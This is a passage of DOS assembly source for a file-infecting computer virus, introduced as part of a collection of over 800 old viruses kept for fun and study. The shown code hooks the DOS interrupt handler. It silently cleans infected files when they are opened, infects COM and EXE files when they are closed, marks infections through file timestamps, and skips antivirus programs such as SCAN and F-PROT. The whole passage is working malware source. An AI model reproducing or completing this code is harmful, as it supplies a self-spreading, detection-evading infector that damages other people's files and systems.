npox-v20.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

                sub     dx,word ptr cs:[buffer+8]                          
                add     ax,40h                                             
                mov     word ptr cs:[buffer+14],dx                         
                mov     word ptr cs:[buffer+16],ax                         
                pop     dx                                                 
                pop     ax                                                 
                push    bx                                                 
                push    cx                                                 
                mov     cl,7                                               
                shl     dx,cl                                              
                mov     bx,ax                                              
                mov     cl,9                                               
                shr     bx,cl                                              
                add     dx,bx                                              
                and     ax,1FFh                                            
                jz      outta_here                                         
                inc     dx                                                 
outta_here:     pop     cx                                                 
                pop     bx                                                 
                mov     word ptr cs:[buffer+2],ax                          
                mov     word ptr cs:[buffer+4],dx                          
                mov     ah,40h                                             
                mov     dx,offset ds:[buffer]                              
                mov     cx,20h                                             
                call    calldos21                                          
exit_exe:       jmp     exit_now                                           
rocko           endp                                                       
vir_cs          dw      0                                                  
exe_ip          dw      0                                                  
exe_cs          dw      0                                                  
exe_sp          dw      0                                                  
exe_ss          dw      0                                                  
exe_sz          dw      0                                                  
exe_rm          dw      0                                                  
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                   Opening File handle AX=3D                              
;------------------------------------------------------------------------- 
opening_file:   call    check_extension                                    
                jnc     open_fuck2                                         
                call    check_exten_exe                                    
                jnc     open_fuck2                                         
                jmp     dword ptr cs:[int21]                               
open_fuck2:     push    ax                                                 
                mov     ax,3d02h                                           
                call    calldos21                                          
                jnc     open_fuck1                                         
                pop     ax                                                 
                iret                                                       
open_fuck1:     push    bx                                                 
                push    cx                                                 
                push    dx                                                 
                push    ds                                                 
                mov     bx,ax                                              
                mov     ax,5700h                                           
                call    calldos21                                          
                mov     al,cl                                              
                or      cl,1fh                                             
                dec     cx                      ;60 Seconds                
                xor     al,cl                                              
                jnz     opening_exit3                                      
                dec     cx                                                 
                mov     word ptr cs:[old_time],cx                          
                mov     word ptr cs:[old_date],dx                          
                mov     ax,4202h                ;Yes Pointer to EOF        
                xor     cx,cx                                              
                xor     dx,dx                                              
                call    calldos21                                          
                mov     cx,dx                                              
                mov     dx,ax                                              
                push    cx                                                 
                push    dx                                                 
                sub     dx,1Bh                  ;Get first 3 Bytes         
                sbb     cx,0                                               
                mov     ax,4200h                                           
                call    calldos21                                          
                push    cs                                                 
                pop     ds                                                 
                mov     ah,3fh                  ;Read them into Buffer     
                mov     cx,1Bh                                             
                mov     dx,offset buffer                                   
                call    calldos21                                          
                xor     cx,cx                   ;Goto Beginning of File    
                xor     dx,dx                                              
                mov     ax,4200h                                           
                call    calldos21                                          
                mov     ah,40h                  ;Write first three bytes   
                mov     dx,offset buffer                                   
                mov     cx,1Bh                                             
                cmp     word ptr cs:[buffer],5A4Dh                         
                je      open_exe_jmp                                       
                mov     cx,3h                                              
open_exe_jmp:   call    calldos21                                          
                pop     dx                      ;EOF - Virus_Size          
                pop     cx                      ;to get ORIGINAL File size 
                sub     dx,virus_size                                      
                sbb     cx,0                                               
                mov     ax,4200h                                           
                call    calldos21                                          
                mov     ah,40h                  ;Fix Bytes                 
                xor     cx,cx                                              
                call    calldos21                                          
                mov     cx,word ptr cs:[old_time]                          
                mov     dx,word ptr cs:[old_date]                          
                mov     ax,5701h                                           
                int     21h                                                
                mov     ah,3eh                  ;Close File                
                call    calldos21                                          
opening_exit3:  pop     ds                                                 
                pop     dx                                                 
                pop     cx                                                 
                pop     bx                                                 
                pop     ax                                                 
                jmp     dword ptr cs:[int21]                               
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                   Closing File Handle INFECT it!                         
;------------------------------------------------------------------------- 
closing_file:   cmp     bx,0h                                              
                je      closing_bye                                        
                cmp     bx,5h                                              
                ja      close_cont                                         
closing_bye:    jmp     dword ptr cs:[int21]                               
                                                                           
close_cont:     push    ax                                                 
                push    bx                                                 
                push    cx                                                 
                push    dx                                                 
                push    di                                                 
                push    ds                                                 
                push    es                                                 
                push    bp                                                 
                push    bx                                                 
                mov     ax,1220h                                           
                int     2fh                                                
                mov     ax,1216h                                           
                mov     bl,es:[di]                                         
                int     2fh                                                
                pop     bx                                                 
                add     di,0011h                                           
                mov     byte ptr es:[di-0fh],02h                           
                add     di,0017h                                           
                cmp     word ptr es:[di],'OC'                              
                jne     closing_next_try                                   
                cmp     byte ptr es:[di+2h],'M'                            
                jne     pre_exit                                           
                jmp     closing_cunt3                                      
closing_next_try:                                                          
                cmp     word ptr es:[di],'XE'                              
                jne     pre_exit                                           
                cmp     byte ptr es:[di+2h],'E'                            
                jne     pre_exit                                           
closing_cunt:   cmp     word ptr es:[di-8],'CS'                            
                jnz     closing_cunt1              ;SCAN                   
                cmp     word ptr es:[di-6],'NA'                            
                jz      pre_exit                                           
closing_cunt1:  cmp     word ptr es:[di-8],'-F'                            
                jnz     closing_cunt2              ;F-PROT                 
                cmp     word ptr es:[di-6],'RP'                            
                jz      pre_exit                                           
closing_cunt2:  cmp     word ptr es:[di-8],'LC'                            
                jnz     closing_cunt3                                      
                cmp     word ptr es:[di-6],'AE'    ;CLEAN                  
                jnz     closing_cunt3                                      
pre_exit:       jmp     closing_nogood                                     
closing_cunt3:  mov     ax,5700h                                           
                call    calldos21                                          
                                                                           
                mov     al,cl                                              
                or      cl,1fh                                             
                dec     cx                              ;60 Seconds        
                xor     al,cl                                              
                jz      closing_nogood